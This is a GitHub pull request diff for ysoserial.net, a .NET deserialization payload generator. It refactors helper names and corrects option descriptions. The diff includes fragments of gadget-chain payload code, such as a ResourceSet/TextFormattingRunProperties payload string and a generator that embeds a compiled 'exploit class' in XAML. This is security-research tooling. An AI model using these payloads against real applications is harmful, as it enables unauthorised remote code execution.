Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fixing descriptions, refactoring some names #142

Merged
merged 1 commit into from
Nov 25, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 5 additions & 8 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -78,19 +78,16 @@ ysoserial.net generates deserialization payloads for a variety of .NET formatter
Supported formatter for the bridge: LosFormatter
Extra options:
--spoofedAssembly=VALUE
The numerical internal gadget choice to use:
1=TypeConfuseDelegate,
2=TextFormattingRunProperties (default: 1
[TypeConfuseDelegate])
The assembly name you want to use in the
generated serialized object (example: 'mscorlib')

(*) DataSetOldBehaviourFromFile [Another variant of the DataSetOldBehaviour gadget. This gadget interprets the command parameter as path to the .cs file that should be compiled as exploit class. Use semicolon to separate the file from additionally required assemblies, e. g., '-c ExploitClass.cs;System.Windows.Forms.dll']
Formatters: BinaryFormatter , LosFormatter
Labels: Bridge and derived
Extra options:
-x=VALUE The numerical internal gadget choice to use:
1=TypeConfuseDelegate,
2=TextFormattingRunProperties (default: 1
[TypeConfuseDelegate])
--spoofedAssembly=VALUE
The assembly name you want to use in the
generated serialized object (example: 'mscorlib')

(*) DataSetTypeSpoof [A more advanced type spoofing which can use any arbitrary types can be seen in TestingArenaHome::SpoofByBinaryFormatterJson or in the DataSetOldBehaviour gadget]
Formatters: BinaryFormatter , LosFormatter , SoapFormatter
Expand Down
2 changes: 1 addition & 1 deletion ysoserial/Generators/ActivitySurrogateDisableTypeCheck.cs
Original file line number Diff line number Diff line change
Expand Up @@ -78,7 +78,7 @@ public override object Generate(string formatter, InputArgs inputArgs)

if (inputArgs.Minify)
{
xaml_payload = XmlMinifier.Minify(xaml_payload, null, null);
xaml_payload = XmlHelper.Minify(xaml_payload, null, null);
}

object payload;
Expand Down
4 changes: 2 additions & 2 deletions ysoserial/Generators/AxHostStateGenerator.cs
Original file line number Diff line number Diff line change
Expand Up @@ -72,11 +72,11 @@ public override object Generate(string formatter, InputArgs inputArgs)
{
if (inputArgs.UseSimpleType)
{
payload = XmlMinifier.Minify(payload, new string[] { "mscorlib", "Microsoft.PowerShell.Editor"}, null, FormatterType.NetDataContractXML, true);
payload = XmlHelper.Minify(payload, new string[] { "mscorlib", "Microsoft.PowerShell.Editor"}, null, FormatterType.NetDataContractXML, true);
}
else
{
payload = XmlMinifier.Minify(payload, null, null, FormatterType.NetDataContractXML, true);
payload = XmlHelper.Minify(payload, null, null, FormatterType.NetDataContractXML, true);
}
}

Expand Down
2 changes: 1 addition & 1 deletion ysoserial/Generators/ClaimsIdentityGenerator.cs
Original file line number Diff line number Diff line change
Expand Up @@ -146,7 +146,7 @@ public override object Generate(string formatter, InputArgs inputArgs)
if (inputArgs.Minify)
{

payload = XmlMinifier.Minify(payload, null, null, FormatterType.SoapFormatter);
payload = XmlHelper.Minify(payload, null, null, FormatterType.SoapFormatter);

}

Expand Down
2 changes: 1 addition & 1 deletion ysoserial/Generators/ClaimsPrincipalGenerator.cs
Original file line number Diff line number Diff line change
Expand Up @@ -148,7 +148,7 @@ public override object Generate(string formatter, InputArgs inputArgs)
if (inputArgs.Minify)
{

payload = XmlMinifier.Minify(payload, null, null, FormatterType.SoapFormatter);
payload = XmlHelper.Minify(payload, null, null, FormatterType.SoapFormatter);

}

Expand Down
41 changes: 26 additions & 15 deletions ysoserial/Generators/DataSetOldBehaviourFromFileGenerator.cs
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,8 @@
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Data;
using ysoserial.Generators;
using ysoserial.Helpers;
using ysoserial.Helpers.ModifiedVulnerableBinaryFormatters;
Expand Down Expand Up @@ -52,11 +54,13 @@ public override string SupportedBridgedFormatter()
}

string spoofedAssembly = "System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089";
bool isCompressed = false;
public override OptionSet Options()
{
OptionSet options = new OptionSet()
{
{"x=", "The numerical internal gadget choice to use: 1=TypeConfuseDelegate, 2=TextFormattingRunProperties (default: 1 [TypeConfuseDelegate])", v => spoofedAssembly = v }
{"spoofedAssembly=", "The assembly name you want to use in the generated serialized object (example: 'mscorlib')", v => spoofedAssembly = v },
//{"compressed", "To compress the generated bytes from the compiled C# code", v => isCompressed = (v != null) } // TBC
};

return options;
Expand All @@ -70,14 +74,19 @@ public override object Generate(string formatter, InputArgs inputArgs)
{
var files = inputArgs.Cmd;
byte[] asmData = LocalCodeCompiler.CompileToAsmBytes(files);
var asmDataList = asmData.ToList();
var xml_asmDataList = SerializersHelper.XmlSerializer_serialize(asmDataList);
xml_asmDataList = Regex.Replace(xml_asmDataList, @"<\?xml[^>]*>", "");
xml_asmDataList = Regex.Replace(xml_asmDataList, @"</?ArrayOfUnsignedByte[^>]*>", "");
xml_asmDataList = Regex.Replace(xml_asmDataList, @"\s", "");
xml_asmDataList = xml_asmDataList.Replace("unsignedByte", "s:Byte");

string xmlResourceDict = @"<ResourceDictionary
string xmlResourceDict = "";

if (isCompressed)
{
// TBC
// placeholder for future implementation

}
else
{
var xml_asmDataList = XmlHelper.ConvertBytesToArrayOfUnsignedByteXML(asmData, "s:Byte", "", "");

xmlResourceDict = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:s=""clr-namespace:System;assembly=mscorlib""
Expand Down Expand Up @@ -111,20 +120,22 @@ public override object Generate(string formatter, InputArgs inputArgs)
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";
}


if (inputArgs.Minify)
{
if (inputArgs.UseSimpleType)
{
xmlSchema = XmlMinifier.Minify(xmlSchema, new string[] { }, new string[] { });
xmlXamlParser = XmlMinifier.Minify(xmlXamlParser, new string[] { }, new string[] { });
xmlResourceDict = XmlMinifier.Minify(xmlResourceDict, new string[] { }, new string[] { });
xmlSchema = XmlHelper.Minify(xmlSchema, new string[] { }, new string[] { });
xmlXamlParser = XmlHelper.Minify(xmlXamlParser, new string[] { }, new string[] { });
xmlResourceDict = XmlHelper.Minify(xmlResourceDict, new string[] { }, new string[] { });
}
else
{
xmlSchema = XmlMinifier.Minify(xmlSchema, new string[] { }, new string[] { });
xmlXamlParser = XmlMinifier.Minify(xmlXamlParser, new string[] { }, new string[] { });
xmlResourceDict = XmlMinifier.Minify(xmlResourceDict, new string[] { }, new string[] { });
xmlSchema = XmlHelper.Minify(xmlSchema, new string[] { }, new string[] { });
xmlXamlParser = XmlHelper.Minify(xmlXamlParser, new string[] { }, new string[] { });
xmlResourceDict = XmlHelper.Minify(xmlResourceDict, new string[] { }, new string[] { });
}
}

Expand Down
10 changes: 5 additions & 5 deletions ysoserial/Generators/DataSetOldBehaviourGenerator.cs
Original file line number Diff line number Diff line change
Expand Up @@ -65,7 +65,7 @@ public override OptionSet Options()
{
OptionSet options = new OptionSet()
{
{"spoofedAssembly=", "The numerical internal gadget choice to use: 1=TypeConfuseDelegate, 2=TextFormattingRunProperties (default: 1 [TypeConfuseDelegate])", v => spoofedAssembly = v }
{"spoofedAssembly=", "The assembly name you want to use in the generated serialized object (example: 'mscorlib')", v => spoofedAssembly = v }
};

return options;
Expand All @@ -91,13 +91,13 @@ public override object Generate(string formatter, InputArgs inputArgs)
{
if (inputArgs.UseSimpleType)
{
xmlSchema = XmlMinifier.Minify(xmlSchema, new string[] { }, new string[] { });
xmlLosFormatterDeserializeCaller = XmlMinifier.Minify(xmlLosFormatterDeserializeCaller, new string[] { }, new string[] { });
xmlSchema = XmlHelper.Minify(xmlSchema, new string[] { }, new string[] { });
xmlLosFormatterDeserializeCaller = XmlHelper.Minify(xmlLosFormatterDeserializeCaller, new string[] { }, new string[] { });
}
else
{
xmlSchema = XmlMinifier.Minify(xmlSchema, new string[] { }, new string[] { });
xmlLosFormatterDeserializeCaller = XmlMinifier.Minify(xmlLosFormatterDeserializeCaller, new string[] { }, new string[] { });
xmlSchema = XmlHelper.Minify(xmlSchema, new string[] { }, new string[] { });
xmlLosFormatterDeserializeCaller = XmlHelper.Minify(xmlLosFormatterDeserializeCaller, new string[] { }, new string[] { });
}
}

Expand Down
8 changes: 4 additions & 4 deletions ysoserial/Generators/GenericGenerator.cs
Original file line number Diff line number Diff line change
Expand Up @@ -191,11 +191,11 @@ public object Serialize(object payloadObj, string formatter, InputArgs inputArgs
stream.Position = 0;
if (inputArgs.UseSimpleType)
{
stream = XmlMinifier.Minify(stream, new String[] { "Microsoft.PowerShell.Editor" }, null, FormatterType.SoapFormatter, true);
stream = XmlHelper.Minify(stream, new String[] { "Microsoft.PowerShell.Editor" }, null, FormatterType.SoapFormatter, true);
}
else
{
stream = XmlMinifier.Minify(stream, null, null, FormatterType.SoapFormatter, true);
stream = XmlHelper.Minify(stream, null, null, FormatterType.SoapFormatter, true);
}
}

Expand Down Expand Up @@ -225,11 +225,11 @@ public object Serialize(object payloadObj, string formatter, InputArgs inputArgs
stream.Position = 0;
if (inputArgs.UseSimpleType)
{
stream = XmlMinifier.Minify(stream, new string[] { "mscorlib", "Microsoft.PowerShell.Editor" }, new string[] { @"\<Signature2[^\/]+<\/Signature2\>" }, FormatterType.NetDataContractXML, true);
stream = XmlHelper.Minify(stream, new string[] { "mscorlib", "Microsoft.PowerShell.Editor" }, new string[] { @"\<Signature2[^\/]+<\/Signature2\>" }, FormatterType.NetDataContractXML, true);
}
else
{
stream = XmlMinifier.Minify(stream, null, null, FormatterType.NetDataContractXML, true);
stream = XmlHelper.Minify(stream, null, null, FormatterType.NetDataContractXML, true);
}
}

Expand Down
22 changes: 11 additions & 11 deletions ysoserial/Generators/ObjectDataProviderGenerator.cs
Original file line number Diff line number Diff line change
Expand Up @@ -120,7 +120,7 @@ public override object Generate(string formatter, InputArgs inputArgs)
if (inputArgs.Minify)
{
// using discardable regex array to make it shorter!
bridge = XmlMinifier.Minify(bridge, null, new String[] { @"StandardErrorEncoding=.*LoadUserProfile=""False"" ", @"IsInitialLoadEnabled=""False"" " });
bridge = XmlHelper.Minify(bridge, null, new String[] { @"StandardErrorEncoding=.*LoadUserProfile=""False"" ", @"IsInitialLoadEnabled=""False"" " });
}

// There are loads of other objects in Presentation that use ResourceDictionary and they can all be used here instead
Expand All @@ -136,7 +136,7 @@ public override object Generate(string formatter, InputArgs inputArgs)
if (inputArgs.Minify)
{
// using discardable regex array to make it shorter!
payload = XmlMinifier.Minify(payload, null, new String[] { @"StandardErrorEncoding=.*LoadUserProfile=""False"" ", @"IsInitialLoadEnabled=""False"" " });
payload = XmlHelper.Minify(payload, null, new String[] { @"StandardErrorEncoding=.*LoadUserProfile=""False"" ", @"IsInitialLoadEnabled=""False"" " });
}

if (inputArgs.Test)
Expand Down Expand Up @@ -200,11 +200,11 @@ public override object Generate(string formatter, InputArgs inputArgs)
{
if (inputArgs.UseSimpleType)
{
payload = JsonMinifier.Minify(payload, new String[] { "PresentationFramework", "mscorlib", "System" }, null);
payload = JsonHelper.Minify(payload, new String[] { "PresentationFramework", "mscorlib", "System" }, null);
}
else
{
payload = JsonMinifier.Minify(payload, null, null);
payload = JsonHelper.Minify(payload, null, null);
}
}

Expand Down Expand Up @@ -255,7 +255,7 @@ public override object Generate(string formatter, InputArgs inputArgs)

if (inputArgs.Minify)
{
payload = JsonMinifier.Minify(payload, null, null);
payload = JsonHelper.Minify(payload, null, null);
}

if (inputArgs.Test)
Expand Down Expand Up @@ -301,7 +301,7 @@ public override object Generate(string formatter, InputArgs inputArgs)

if (inputArgs.Minify)
{
payload = JsonMinifier.Minify(payload, null, null);
payload = JsonHelper.Minify(payload, null, null);
}

if (inputArgs.Test)
Expand Down Expand Up @@ -377,7 +377,7 @@ public override object Generate(string formatter, InputArgs inputArgs)

if (inputArgs.Minify)
{
payload = XmlMinifier.Minify(payload, null, null, FormatterType.XMLSerializer, true);
payload = XmlHelper.Minify(payload, null, null, FormatterType.XMLSerializer, true);
}


Expand Down Expand Up @@ -486,7 +486,7 @@ public override object Generate(string formatter, InputArgs inputArgs)
}
if (inputArgs.Minify)
{
payload = XmlMinifier.Minify(payload, null, null, FormatterType.DataContractXML, true);
payload = XmlHelper.Minify(payload, null, null, FormatterType.DataContractXML, true);
}

if (inputArgs.Test)
Expand Down Expand Up @@ -533,7 +533,7 @@ public override object Generate(string formatter, InputArgs inputArgs)

if (inputArgs.Minify)
{
payload = YamlDocumentMinifier.Minify(payload);
payload = YamlDocumentHelper.Minify(payload);
}

if (inputArgs.Test)
Expand Down Expand Up @@ -606,7 +606,7 @@ public override object Generate(string formatter, InputArgs inputArgs)

if (inputArgs.Minify)
{
payload = JsonMinifier.Minify(payload, null, null);
payload = JsonHelper.Minify(payload, null, null);
}

if (inputArgs.Test)
Expand Down Expand Up @@ -677,7 +677,7 @@ public override object Generate(string formatter, InputArgs inputArgs)

if (inputArgs.Minify)
{
serializedData = XmlMinifier.Minify(serializedData, null, new string[] { @" name=""r""" }, FormatterType.DataContractXML, true);
serializedData = XmlHelper.Minify(serializedData, null, new string[] { @" name=""r""" }, FormatterType.DataContractXML, true);
}


Expand Down
2 changes: 1 addition & 1 deletion ysoserial/Generators/PSObjectGenerator.cs
Original file line number Diff line number Diff line change
Expand Up @@ -148,7 +148,7 @@ public override object Generate(string formatter, InputArgs inputArgs)
{
// Could not be tested so it may not work here!
// also not sure if can use CDATA otherwise we could use the CDATA flag to save more space
clixml = XmlMinifier.Minify(clixml, null, null, FormatterType.None, true);
clixml = XmlHelper.Minify(clixml, null, null, FormatterType.None, true);
}

PsObjectMarshal payload = new PsObjectMarshal(clixml);
Expand Down
8 changes: 4 additions & 4 deletions ysoserial/Generators/ResourceSetGenerator.cs
Original file line number Diff line number Diff line change
Expand Up @@ -114,7 +114,7 @@ public override object Generate(string formatter, InputArgs inputArgs)

if (inputArgs.Minify)
{
xaml_payload = XmlMinifier.Minify(xaml_payload, null, null);
xaml_payload = XmlHelper.Minify(xaml_payload, null, null);
}

xaml_payload = CommandArgSplitter.JsonStringEscape(xaml_payload);
Expand Down Expand Up @@ -304,7 +304,7 @@ public override object Generate(string formatter, InputArgs inputArgs)

if (inputArgs.Minify)
{
xaml_payload = XmlMinifier.Minify(xaml_payload, null, null);
xaml_payload = XmlHelper.Minify(xaml_payload, null, null);
}

ndcPayload = @"<w b:Type=""System.Resources.ResourceSet"" b:Assembly=""0"" xmlns=""http://schemas.datacontract.org/2004/07/System.Resources"" xmlns:a=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/""><Table b:Type=""System.Collections.Hashtable"" b:Assembly=""0"" xmlns:c=""http://schemas.microsoft.com/2003/10/Serialization/Arrays""><LoadFactor b:Type=""System.Single"" b:Assembly=""0"" xmlns="""">0</LoadFactor><Version b:Type=""System.Int32"" b:Assembly=""0"" xmlns="""">1</Version><HashSize b:Type=""System.Int32"" b:Assembly=""0"" xmlns="""">3</HashSize><Values b:Type=""System.Object[]"" b:Assembly=""0"" b:Size=""1"" xmlns=""""><c:anyType b:Type=""Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties"" b:Assembly=""Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35""><ForegroundBrush b:Type=""System.String"" b:Assembly=""0""><![CDATA[" + xaml_payload + @"]]></ForegroundBrush></c:anyType></Values></Table></w>";
Expand All @@ -315,11 +315,11 @@ public override object Generate(string formatter, InputArgs inputArgs)
{
if (inputArgs.UseSimpleType)
{
ndcPayload = XmlMinifier.Minify(ndcPayload, new string[] { "mscorlib", "Microsoft.PowerShell.Editor" }, new string[] { "</Values></Table></w>" }, FormatterType.NetDataContractXML, true);
ndcPayload = XmlHelper.Minify(ndcPayload, new string[] { "mscorlib", "Microsoft.PowerShell.Editor" }, new string[] { "</Values></Table></w>" }, FormatterType.NetDataContractXML, true);
}
else
{
ndcPayload = XmlMinifier.Minify(ndcPayload, null, new string[] { "</Values></Table></w>" }, FormatterType.NetDataContractXML, true);
ndcPayload = XmlHelper.Minify(ndcPayload, null, new string[] { "</Values></Table></w>" }, FormatterType.NetDataContractXML, true);
}
}

Expand Down
Loading